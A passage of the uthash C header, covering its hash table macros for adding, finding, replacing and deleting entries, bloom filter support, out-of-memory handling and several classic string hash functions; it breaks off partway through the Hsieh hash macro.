/* a number of the hash function use uint32_t which isn't defined on Pre VS2010 */
#if defined(_WIN32)
#if defined(_MSC_VER) && _MSC_VER >= 1600
#include <stdint.h>
#elif defined(__WATCOMC__) || defined(__MINGW32__) || defined(__CYGWIN__)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned char uint8_t;
#endif
#elif defined(__GNUC__) && !defined(__VXWORKS__)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned char uint8_t;
#endif

#ifndef uthash_malloc
#define uthash_malloc(sz) malloc(sz)      /* malloc fcn                      */
#endif
#ifndef uthash_free
#define uthash_free(ptr,sz) free(ptr)     /* free fcn                        */
#endif
#ifndef uthash_bzero
#define uthash_bzero(a,n) memset(a,'\0',n)
#endif
#ifndef uthash_strlen
#define uthash_strlen(s) strlen(s)
#endif

#ifdef uthash_memcmp
/* This warning will not catch programs that define uthash_memcmp AFTER including uthash.h. */
#warning "uthash_memcmp is deprecated; please use HASH_KEYCMP instead"
#else
#define uthash_memcmp(a,b,n) memcmp(a,b,n)
#endif

#ifndef HASH_KEYCMP
#define HASH_KEYCMP(a,b,n) uthash_memcmp(a,b,n)
#endif

#ifndef uthash_noexpand_fyi
#define uthash_noexpand_fyi(tbl)          /* can be defined to log noexpand  */
#endif
#ifndef uthash_expand_fyi
#define uthash_expand_fyi(tbl)            /* can be defined to log expands   */
#endif

#ifndef HASH_NONFATAL_OOM
#define HASH_NONFATAL_OOM 0
#endif

#if HASH_NONFATAL_OOM
/* malloc failures can be recovered from */

#ifndef uthash_nonfatal_oom
#define uthash_nonfatal_oom(obj) do {} while (0)    /* non-fatal OOM error */
#endif

#define HASH_RECORD_OOM(oomed) do { (oomed) = 1; } while (0)
#define IF_HASH_NONFATAL_OOM(x) x

#else
/* malloc failures result in lost memory, hash tables are unusable */

#ifndef uthash_fatal
#define uthash_fatal(msg) exit(-1)        /* fatal OOM error */
#endif

#define HASH_RECORD_OOM(oomed) uthash_fatal("out of memory")
#define IF_HASH_NONFATAL_OOM(x)

#endif

/* initial number of buckets */
#define HASH_INITIAL_NUM_BUCKETS 32U     /* initial number of buckets        */
#define HASH_INITIAL_NUM_BUCKETS_LOG2 5U /* lg2 of initial number of buckets */
#define HASH_BKT_CAPACITY_THRESH 10U     /* expand when bucket count reaches */

/* calculate the element whose hash handle address is hhp */
#define ELMT_FROM_HH(tbl,hhp) ((void*)(((char*)(hhp)) - ((tbl)->hho)))
/* calculate the hash handle from element address elp */
#define HH_FROM_ELMT(tbl,elp) ((UT_hash_handle *)(((char*)(elp)) + ((tbl)->hho)))

#define HASH_ROLLBACK_BKT(hh, head, itemptrhh)                                   \
do {                                                                             \
  struct UT_hash_handle *_hd_hh_item = (itemptrhh);                              \
  unsigned _hd_bkt;                                                              \
  HASH_TO_BKT(_hd_hh_item->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);         \
  (head)->hh.tbl->buckets[_hd_bkt].count++;                                      \
  _hd_hh_item->hh_next = NULL;                                                   \
  _hd_hh_item->hh_prev = NULL;                                                   \
} while (0)

#define HASH_VALUE(keyptr,keylen,hashv)                                          \
do {                                                                             \
  HASH_FCN(keyptr, keylen, hashv);                                               \
} while (0)

#define HASH_FIND_BYHASHVALUE(hh,head,keyptr,keylen,hashval,out)                 \
do {                                                                             \
  (out) = NULL;                                                                  \
  if (head) {                                                                    \
    unsigned _hf_bkt;                                                            \
    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _hf_bkt);                  \
    if (HASH_BLOOM_TEST((head)->hh.tbl, hashval) != 0) {                         \
      HASH_FIND_IN_BKT((head)->hh.tbl, hh, (head)->hh.tbl->buckets[ _hf_bkt ], keyptr, keylen, hashval, out); \
    }                                                                            \
  }                                                                              \
} while (0)

#define HASH_FIND(hh,head,keyptr,keylen,out)                                     \
do {                                                                             \
  (out) = NULL;                                                                  \
  if (head) {                                                                    \
    unsigned _hf_hashv;                                                          \
    HASH_VALUE(keyptr, keylen, _hf_hashv);                                       \
    HASH_FIND_BYHASHVALUE(hh, head, keyptr, keylen, _hf_hashv, out);             \
  }                                                                              \
} while (0)

#ifdef HASH_BLOOM
#define HASH_BLOOM_BITLEN (1UL << HASH_BLOOM)
#define HASH_BLOOM_BYTELEN (HASH_BLOOM_BITLEN/8UL) + (((HASH_BLOOM_BITLEN%8UL)!=0UL) ? 1UL : 0UL)
#define HASH_BLOOM_MAKE(tbl,oomed)                                               \
do {                                                                             \
  (tbl)->bloom_nbits = HASH_BLOOM;                                               \
  (tbl)->bloom_bv = (uint8_t*)uthash_malloc(HASH_BLOOM_BYTELEN);                 \
  if (!(tbl)->bloom_bv) {                                                        \
    HASH_RECORD_OOM(oomed);                                                      \
  } else {                                                                       \
    uthash_bzero((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                           \
    (tbl)->bloom_sig = HASH_BLOOM_SIGNATURE;                                     \
  }                                                                              \
} while (0)

#define HASH_BLOOM_FREE(tbl)                                                     \
do {                                                                             \
  uthash_free((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                              \
} while (0)

#define HASH_BLOOM_BITSET(bv,idx) (bv[(idx)/8U] |= (1U << ((idx)%8U)))
#define HASH_BLOOM_BITTEST(bv,idx) (bv[(idx)/8U] & (1U << ((idx)%8U)))

#define HASH_BLOOM_ADD(tbl,hashv)                                                \
  HASH_BLOOM_BITSET((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))

#define HASH_BLOOM_TEST(tbl,hashv)                                               \
  HASH_BLOOM_BITTEST((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))

#else
#define HASH_BLOOM_MAKE(tbl,oomed)
#define HASH_BLOOM_FREE(tbl)
#define HASH_BLOOM_ADD(tbl,hashv)
#define HASH_BLOOM_TEST(tbl,hashv) (1)
#define HASH_BLOOM_BYTELEN 0U
#endif

#define HASH_MAKE_TABLE(hh,head,oomed)                                           \
do {                                                                             \
  (head)->hh.tbl = (UT_hash_table*)uthash_malloc(sizeof(UT_hash_table));         \
  if (!(head)->hh.tbl) {                                                         \
    HASH_RECORD_OOM(oomed);                                                      \
  } else {                                                                       \
    uthash_bzero((head)->hh.tbl, sizeof(UT_hash_table));                         \
    (head)->hh.tbl->tail = &((head)->hh);                                        \
    (head)->hh.tbl->num_buckets = HASH_INITIAL_NUM_BUCKETS;                      \
    (head)->hh.tbl->log2_num_buckets = HASH_INITIAL_NUM_BUCKETS_LOG2;            \
    (head)->hh.tbl->hho = (char*)(&(head)->hh) - (char*)(head);                  \
    (head)->hh.tbl->buckets = (UT_hash_bucket*)uthash_malloc(                    \
        HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));               \
    (head)->hh.tbl->signature = HASH_SIGNATURE;                                  \
    if (!(head)->hh.tbl->buckets) {                                              \
      HASH_RECORD_OOM(oomed);                                                    \
      uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                        \
    } else {                                                                     \
      uthash_bzero((head)->hh.tbl->buckets,                                      \
          HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));             \
      HASH_BLOOM_MAKE((head)->hh.tbl, oomed);                                    \
      IF_HASH_NONFATAL_OOM(                                                      \
        if (oomed) {                                                             \
          uthash_free((head)->hh.tbl->buckets,                                   \
              HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket));           \
          uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                    \
        }                                                                        \
      )                                                                          \
    }                                                                            \
  }                                                                              \
} while (0)

#define HASH_REPLACE_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,replaced,cmpfcn) \
do {                                                                             \
  (replaced) = NULL;                                                             \
  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \
  if (replaced) {                                                                \
    HASH_DELETE(hh, head, replaced);                                             \
  }                                                                              \
  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn); \
} while (0)

#define HASH_REPLACE_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add,replaced) \
do {                                                                             \
  (replaced) = NULL;                                                             \
  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \
  if (replaced) {                                                                \
    HASH_DELETE(hh, head, replaced);                                             \
  }                                                                              \
  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add); \
} while (0)

#define HASH_REPLACE(hh,head,fieldname,keylen_in,add,replaced)                   \
do {                                                                             \
  unsigned _hr_hashv;                                                            \
  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \
  HASH_REPLACE_BYHASHVALUE(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced); \
} while (0)

#define HASH_REPLACE_INORDER(hh,head,fieldname,keylen_in,add,replaced,cmpfcn)    \
do {                                                                             \
  unsigned _hr_hashv;                                                            \
  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \
  HASH_REPLACE_BYHASHVALUE_INORDER(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced, cmpfcn); \
} while (0)

#define HASH_APPEND_LIST(hh, head, add)                                          \
do {                                                                             \
  (add)->hh.next = NULL;                                                         \
  (add)->hh.prev = ELMT_FROM_HH((head)->hh.tbl, (head)->hh.tbl->tail);           \
  (head)->hh.tbl->tail->next = (add);                                            \
  (head)->hh.tbl->tail = &((add)->hh);                                           \
} while (0)

#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \
do {                                                                             \
  do {                                                                           \
    if (cmpfcn(DECLTYPE(head)(_hs_iter), add) > 0) {                             \
      break;                                                                     \
    }                                                                            \
  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \
} while (0)

#ifdef NO_DECLTYPE
#undef HASH_AKBI_INNER_LOOP
#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \
do {                                                                             \
  char *_hs_saved_head = (char*)(head);                                          \
  do {                                                                           \
    DECLTYPE_ASSIGN(head, _hs_iter);                                             \
    if (cmpfcn(head, add) > 0) {                                                 \
      DECLTYPE_ASSIGN(head, _hs_saved_head);                                     \
      break;                                                                     \
    }                                                                            \
    DECLTYPE_ASSIGN(head, _hs_saved_head);                                       \
  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \
} while (0)
#endif

#if HASH_NONFATAL_OOM

#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \
do {                                                                             \
  if (!(oomed)) {                                                                \
    unsigned _ha_bkt;                                                            \
    (head)->hh.tbl->num_items++;                                                 \
    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                  \
    HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);    \
    if (oomed) {                                                                 \
      HASH_ROLLBACK_BKT(hh, head, &(add)->hh);                                   \
      HASH_DELETE_HH(hh, head, &(add)->hh);                                      \
      (add)->hh.tbl = NULL;                                                      \
      uthash_nonfatal_oom(add);                                                  \
    } else {                                                                     \
      HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                   \
      HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                \
    }                                                                            \
  } else {                                                                       \
    (add)->hh.tbl = NULL;                                                        \
    uthash_nonfatal_oom(add);                                                    \
  }                                                                              \
} while (0)

#else

#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \
do {                                                                             \
  unsigned _ha_bkt;                                                              \
  (head)->hh.tbl->num_items++;                                                   \
  HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                    \
  HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);      \
  HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                       \
  HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                    \
} while (0)

#endif


#define HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh,head,keyptr,keylen_in,hashval,add,cmpfcn) \
do {                                                                             \
  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \
  (add)->hh.hashv = (hashval);                                                   \
  (add)->hh.key = (char*) (keyptr);                                              \
  (add)->hh.keylen = (unsigned) (keylen_in);                                     \
  if (!(head)) {                                                                 \
    (add)->hh.next = NULL;                                                       \
    (add)->hh.prev = NULL;                                                       \
    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \
    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \
      (head) = (add);                                                            \
    IF_HASH_NONFATAL_OOM( } )                                                    \
  } else {                                                                       \
    void *_hs_iter = (head);                                                     \
    (add)->hh.tbl = (head)->hh.tbl;                                              \
    HASH_AKBI_INNER_LOOP(hh, head, add, cmpfcn);                                 \
    if (_hs_iter) {                                                              \
      (add)->hh.next = _hs_iter;                                                 \
      if (((add)->hh.prev = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev)) {     \
        HH_FROM_ELMT((head)->hh.tbl, (add)->hh.prev)->next = (add);              \
      } else {                                                                   \
        (head) = (add);                                                          \
      }                                                                          \
      HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev = (add);                      \
    } else {                                                                     \
      HASH_APPEND_LIST(hh, head, add);                                           \
    }                                                                            \
  }                                                                              \
  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \
  HASH_FSCK(hh, head, "HASH_ADD_KEYPTR_BYHASHVALUE_INORDER");                    \
} while (0)

#define HASH_ADD_KEYPTR_INORDER(hh,head,keyptr,keylen_in,add,cmpfcn)             \
do {                                                                             \
  unsigned _hs_hashv;                                                            \
  HASH_VALUE(keyptr, keylen_in, _hs_hashv);                                      \
  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, keyptr, keylen_in, _hs_hashv, add, cmpfcn); \
} while (0)

#define HASH_ADD_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,cmpfcn) \
  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn)

#define HASH_ADD_INORDER(hh,head,fieldname,keylen_in,add,cmpfcn)                 \
  HASH_ADD_KEYPTR_INORDER(hh, head, &((add)->fieldname), keylen_in, add, cmpfcn)

#define HASH_ADD_KEYPTR_BYHASHVALUE(hh,head,keyptr,keylen_in,hashval,add)        \
do {                                                                             \
  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \
  (add)->hh.hashv = (hashval);                                                   \
  (add)->hh.key = (char*) (keyptr);                                              \
  (add)->hh.keylen = (unsigned) (keylen_in);                                     \
  if (!(head)) {                                                                 \
    (add)->hh.next = NULL;                                                       \
    (add)->hh.prev = NULL;                                                       \
    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \
    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \
      (head) = (add);                                                            \
    IF_HASH_NONFATAL_OOM( } )                                                    \
  } else {                                                                       \
    (add)->hh.tbl = (head)->hh.tbl;                                              \
    HASH_APPEND_LIST(hh, head, add);                                             \
  }                                                                              \
  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \
  HASH_FSCK(hh, head, "HASH_ADD_KEYPTR_BYHASHVALUE");                            \
} while (0)

#define HASH_ADD_KEYPTR(hh,head,keyptr,keylen_in,add)                            \
do {                                                                             \
  unsigned _ha_hashv;                                                            \
  HASH_VALUE(keyptr, keylen_in, _ha_hashv);                                      \
  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, keyptr, keylen_in, _ha_hashv, add);      \
} while (0)

#define HASH_ADD_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add)            \
  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add)

#define HASH_ADD(hh,head,fieldname,keylen_in,add)                                \
  HASH_ADD_KEYPTR(hh, head, &((add)->fieldname), keylen_in, add)

#define HASH_TO_BKT(hashv,num_bkts,bkt)                                          \
do {                                                                             \
  bkt = ((hashv) & ((num_bkts) - 1U));                                           \
} while (0)

/* delete "delptr" from the hash table.
 * "the usual" patch-up process for the app-order doubly-linked-list.
 * The use of _hd_hh_del below deserves special explanation.
 * These used to be expressed using (delptr) but that led to a bug
 * if someone used the same symbol for the head and deletee, like
 *  HASH_DELETE(hh,users,users);
 * We want that to work, but by changing the head (users) below
 * we were forfeiting our ability to further refer to the deletee (users)
 * in the patch-up process. Solution: use scratch space to
 * copy the deletee pointer, then the latter references are via that
 * scratch pointer rather than through the repointed (users) symbol.
 */
#define HASH_DELETE(hh,head,delptr)                                              \
    HASH_DELETE_HH(hh, head, &(delptr)->hh)

#define HASH_DELETE_HH(hh,head,delptrhh)                                         \
do {                                                                             \
  struct UT_hash_handle *_hd_hh_del = (delptrhh);                                \
  if ((_hd_hh_del->prev == NULL) && (_hd_hh_del->next == NULL)) {                \
    HASH_BLOOM_FREE((head)->hh.tbl);                                             \
    uthash_free((head)->hh.tbl->buckets,                                         \
                (head)->hh.tbl->num_buckets * sizeof(struct UT_hash_bucket));    \
    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \
    (head) = NULL;                                                               \
  } else {                                                                       \
    unsigned _hd_bkt;                                                            \
    if (_hd_hh_del == (head)->hh.tbl->tail) {                                    \
      (head)->hh.tbl->tail = HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev);     \
    }                                                                            \
    if (_hd_hh_del->prev != NULL) {                                              \
      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev)->next = _hd_hh_del->next;   \
    } else {                                                                     \
      DECLTYPE_ASSIGN(head, _hd_hh_del->next);                                   \
    }                                                                            \
    if (_hd_hh_del->next != NULL) {                                              \
      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->next)->prev = _hd_hh_del->prev;   \
    }                                                                            \
    HASH_TO_BKT(_hd_hh_del->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);        \
    HASH_DEL_IN_BKT((head)->hh.tbl->buckets[_hd_bkt], _hd_hh_del);               \
    (head)->hh.tbl->num_items--;                                                 \
  }                                                                              \
  HASH_FSCK(hh, head, "HASH_DELETE_HH");                                         \
} while (0)

/* convenience forms of HASH_FIND/HASH_ADD/HASH_DEL */
#define HASH_FIND_STR(head,findstr,out)                                          \
do {                                                                             \
    unsigned _uthash_hfstr_keylen = (unsigned)uthash_strlen(findstr);            \
    HASH_FIND(hh, head, findstr, _uthash_hfstr_keylen, out);                     \
} while (0)
#define HASH_ADD_STR(head,strfield,add)                                          \
do {                                                                             \
    unsigned _uthash_hastr_keylen = (unsigned)uthash_strlen((add)->strfield);    \
    HASH_ADD(hh, head, strfield[0], _uthash_hastr_keylen, add);                  \
} while (0)
#define HASH_REPLACE_STR(head,strfield,add,replaced)                             \
do {                                                                             \
    unsigned _uthash_hrstr_keylen = (unsigned)uthash_strlen((add)->strfield);    \
    HASH_REPLACE(hh, head, strfield[0], _uthash_hrstr_keylen, add, replaced);    \
} while (0)
#define HASH_FIND_INT(head,findint,out)                                          \
    HASH_FIND(hh,head,findint,sizeof(int),out)
#define HASH_ADD_INT(head,intfield,add)                                          \
    HASH_ADD(hh,head,intfield,sizeof(int),add)
#define HASH_REPLACE_INT(head,intfield,add,replaced)                             \
    HASH_REPLACE(hh,head,intfield,sizeof(int),add,replaced)
#define HASH_FIND_PTR(head,findptr,out)                                          \
    HASH_FIND(hh,head,findptr,sizeof(void *),out)
#define HASH_ADD_PTR(head,ptrfield,add)                                          \
    HASH_ADD(hh,head,ptrfield,sizeof(void *),add)
#define HASH_REPLACE_PTR(head,ptrfield,add,replaced)                             \
    HASH_REPLACE(hh,head,ptrfield,sizeof(void *),add,replaced)
#define HASH_DEL(head,delptr)                                                    \
    HASH_DELETE(hh,head,delptr)

/* HASH_FSCK checks hash integrity on every add/delete when HASH_DEBUG is defined.
 * This is for uthash developer only; it compiles away if HASH_DEBUG isn't defined.
 */
#ifdef HASH_DEBUG
#define HASH_OOPS(...) do { fprintf(stderr,__VA_ARGS__); exit(-1); } while (0)
#define HASH_FSCK(hh,head,where)                                                 \
do {                                                                             \
  struct UT_hash_handle *_thh;                                                   \
  if (head) {                                                                    \
    unsigned _bkt_i;                                                             \
    unsigned _count = 0;                                                         \
    char *_prev;                                                                 \
    for (_bkt_i = 0; _bkt_i < (head)->hh.tbl->num_buckets; ++_bkt_i) {           \
      unsigned _bkt_count = 0;                                                   \
      _thh = (head)->hh.tbl->buckets[_bkt_i].hh_head;                            \
      _prev = NULL;                                                              \
      while (_thh) {                                                             \
        if (_prev != (char*)(_thh->hh_prev)) {                                   \
          HASH_OOPS("%s: invalid hh_prev %p, actual %p\n",                       \
              (where), (void*)_thh->hh_prev, (void*)_prev);                      \
        }                                                                        \
        _bkt_count++;                                                            \
        _prev = (char*)(_thh);                                                   \
        _thh = _thh->hh_next;                                                    \
      }                                                                          \
      _count += _bkt_count;                                                      \
      if ((head)->hh.tbl->buckets[_bkt_i].count !=  _bkt_count) {                \
        HASH_OOPS("%s: invalid bucket count %u, actual %u\n",                    \
            (where), (head)->hh.tbl->buckets[_bkt_i].count, _bkt_count);         \
      }                                                                          \
    }                                                                            \
    if (_count != (head)->hh.tbl->num_items) {                                   \
      HASH_OOPS("%s: invalid hh item count %u, actual %u\n",                     \
          (where), (head)->hh.tbl->num_items, _count);                           \
    }                                                                            \
    _count = 0;                                                                  \
    _prev = NULL;                                                                \
    _thh =  &(head)->hh;                                                         \
    while (_thh) {                                                               \
      _count++;                                                                  \
      if (_prev != (char*)_thh->prev) {                                          \
        HASH_OOPS("%s: invalid prev %p, actual %p\n",                            \
            (where), (void*)_thh->prev, (void*)_prev);                           \
      }                                                                          \
      _prev = (char*)ELMT_FROM_HH((head)->hh.tbl, _thh);                         \
      _thh = (_thh->next ? HH_FROM_ELMT((head)->hh.tbl, _thh->next) : NULL);     \
    }                                                                            \
    if (_count != (head)->hh.tbl->num_items) {                                   \
      HASH_OOPS("%s: invalid app item count %u, actual %u\n",                    \
          (where), (head)->hh.tbl->num_items, _count);                           \
    }                                                                            \
  }                                                                              \
} while (0)
#else
#define HASH_FSCK(hh,head,where)
#endif

/* When compiled with -DHASH_EMIT_KEYS, length-prefixed keys are emitted to
 * the descriptor to which this macro is defined for tuning the hash function.
 * The app can #include <unistd.h> to get the prototype for write(2). */
#ifdef HASH_EMIT_KEYS
#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)                                   \
do {                                                                             \
  unsigned _klen = fieldlen;                                                     \
  write(HASH_EMIT_KEYS, &_klen, sizeof(_klen));                                  \
  write(HASH_EMIT_KEYS, keyptr, (unsigned long)fieldlen);                        \
} while (0)
#else
#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)
#endif

/* default to Jenkin's hash unless overridden e.g. DHASH_FUNCTION=HASH_SAX */
#ifdef HASH_FUNCTION
#define HASH_FCN HASH_FUNCTION
#else
#define HASH_FCN HASH_JEN
#endif

/* The Bernstein hash function, used in Perl prior to v5.6. Note (x<<5+x)=x*33. */
#define HASH_BER(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned _hb_keylen = (unsigned)keylen;                                        \
  const unsigned char *_hb_key = (const unsigned char*)(key);                    \
  (hashv) = 0;                                                                   \
  while (_hb_keylen-- != 0U) {                                                   \
    (hashv) = (((hashv) << 5) + (hashv)) + *_hb_key++;                           \
  }                                                                              \
} while (0)


/* SAX/FNV/OAT/JEN hash functions are macro variants of those listed at
 * http://eternallyconfuzzled.com/tuts/algorithms/jsw_tut_hashing.aspx */
#define HASH_SAX(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned _sx_i;                                                                \
  const unsigned char *_hs_key = (const unsigned char*)(key);                    \
  hashv = 0;                                                                     \
  for (_sx_i=0; _sx_i < keylen; _sx_i++) {                                       \
    hashv ^= (hashv << 5) + (hashv >> 2) + _hs_key[_sx_i];                       \
  }                                                                              \
} while (0)
/* FNV-1a variation */
#define HASH_FNV(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned _fn_i;                                                                \
  const unsigned char *_hf_key = (const unsigned char*)(key);                    \
  (hashv) = 2166136261U;                                                         \
  for (_fn_i=0; _fn_i < keylen; _fn_i++) {                                       \
    hashv = hashv ^ _hf_key[_fn_i];                                              \
    hashv = hashv * 16777619U;                                                   \
  }                                                                              \
} while (0)

#define HASH_OAT(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned _ho_i;                                                                \
  const unsigned char *_ho_key=(const unsigned char*)(key);                      \
  hashv = 0;                                                                     \
  for(_ho_i=0; _ho_i < keylen; _ho_i++) {                                        \
      hashv += _ho_key[_ho_i];                                                   \
      hashv += (hashv << 10);                                                    \
      hashv ^= (hashv >> 6);                                                     \
  }                                                                              \
  hashv += (hashv << 3);                                                         \
  hashv ^= (hashv >> 11);                                                        \
  hashv += (hashv << 15);                                                        \
} while (0)

#define HASH_JEN_MIX(a,b,c)                                                      \
do {                                                                             \
  a -= b; a -= c; a ^= ( c >> 13 );                                              \
  b -= c; b -= a; b ^= ( a << 8 );                                               \
  c -= a; c -= b; c ^= ( b >> 13 );                                              \
  a -= b; a -= c; a ^= ( c >> 12 );                                              \
  b -= c; b -= a; b ^= ( a << 16 );                                              \
  c -= a; c -= b; c ^= ( b >> 5 );                                               \
  a -= b; a -= c; a ^= ( c >> 3 );                                               \
  b -= c; b -= a; b ^= ( a << 10 );                                              \
  c -= a; c -= b; c ^= ( b >> 15 );                                              \
} while (0)

#define HASH_JEN(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned _hj_i,_hj_j,_hj_k;                                                    \
  unsigned const char *_hj_key=(unsigned const char*)(key);                      \
  hashv = 0xfeedbeefu;                                                           \
  _hj_i = _hj_j = 0x9e3779b9u;                                                   \
  _hj_k = (unsigned)(keylen);                                                    \
  while (_hj_k >= 12U) {                                                         \
    _hj_i +=    (_hj_key[0] + ( (unsigned)_hj_key[1] << 8 )                      \
        + ( (unsigned)_hj_key[2] << 16 )                                         \
        + ( (unsigned)_hj_key[3] << 24 ) );                                      \
    _hj_j +=    (_hj_key[4] + ( (unsigned)_hj_key[5] << 8 )                      \
        + ( (unsigned)_hj_key[6] << 16 )                                         \
        + ( (unsigned)_hj_key[7] << 24 ) );                                      \
    hashv += (_hj_key[8] + ( (unsigned)_hj_key[9] << 8 )                         \
        + ( (unsigned)_hj_key[10] << 16 )                                        \
        + ( (unsigned)_hj_key[11] << 24 ) );                                     \
                                                                                 \
     HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                          \
                                                                                 \
     _hj_key += 12;                                                              \
     _hj_k -= 12U;                                                               \
  }                                                                              \
  hashv += (unsigned)(keylen);                                                   \
  switch ( _hj_k ) {                                                             \
    case 11: hashv += ( (unsigned)_hj_key[10] << 24 ); /* FALLTHROUGH */         \
    case 10: hashv += ( (unsigned)_hj_key[9] << 16 );  /* FALLTHROUGH */         \
    case 9:  hashv += ( (unsigned)_hj_key[8] << 8 );   /* FALLTHROUGH */         \
    case 8:  _hj_j += ( (unsigned)_hj_key[7] << 24 );  /* FALLTHROUGH */         \
    case 7:  _hj_j += ( (unsigned)_hj_key[6] << 16 );  /* FALLTHROUGH */         \
    case 6:  _hj_j += ( (unsigned)_hj_key[5] << 8 );   /* FALLTHROUGH */         \
    case 5:  _hj_j += _hj_key[4];                      /* FALLTHROUGH */         \
    case 4:  _hj_i += ( (unsigned)_hj_key[3] << 24 );  /* FALLTHROUGH */         \
    case 3:  _hj_i += ( (unsigned)_hj_key[2] << 16 );  /* FALLTHROUGH */         \
    case 2:  _hj_i += ( (unsigned)_hj_key[1] << 8 );   /* FALLTHROUGH */         \
    case 1:  _hj_i += _hj_key[0];                                                \
  }                                                                              \
  HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                             \
} while (0)

/* The Paul Hsieh hash function */
#undef get16bits
#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__)             \
  || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__)
#define get16bits(d) (*((const uint16_t *) (d)))
#endif

#if !defined (get16bits)
#define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8)             \
                       +(uint32_t)(((const uint8_t *)(d))[0]) )
#endif
#define HASH_SFH(key,keylen,hashv)                                               \
do {                                                                             \
  unsigned const char *_sfh_key=(unsigned const char*)(key);                     \
  uint32_t _sfh_tmp, _sfh_len = (uint32_t)keylen;                                \
                                                                                 \
  unsigned _sfh_rem = _sfh_len & 3U;                                             \
  _sfh_len >>= 2;                                                                \
  hashv = 0xcafebabeu;                                                           \
                                                                                 \
  /* Main loop */                                                                \
  for (;_sfh_len > 0U; _sfh_len--) {                                             \
    hashv    += get16bits (_sfh_key);                                            \
    _sfh_tmp  = ((uint32_t)(get16bits (_sfh_key+2)) << 11) ^ hashv;              \
    hashv     = (hashv << 16) ^ _sfh_tmp;                                        \
    _sfh_key += 2U*sizeof (uint16_t);                                            \
    hashv    += hashv >> 11;                                                     \
  }                                                                              \
                                                                                 \
  /* Handle end cases */                                                         \
  switch (_sfh_rem) {                                                            \
    case 3: hashv += get16bits (_sfh_key);                                       \
            hashv ^= hashv << 16;                                                \
            hashv ^= (uint32_t)(_sfh_key[sizeof (uint16_t)]) << 18;              \
            hashv += hashv >> 11;                                                \
            break;                                                               \
    case 2: hashv += get16bits (_sfh_key);                                       \
            hashv ^= hashv << 11;                                                \
            hashv += hashv >> 17;                                                \
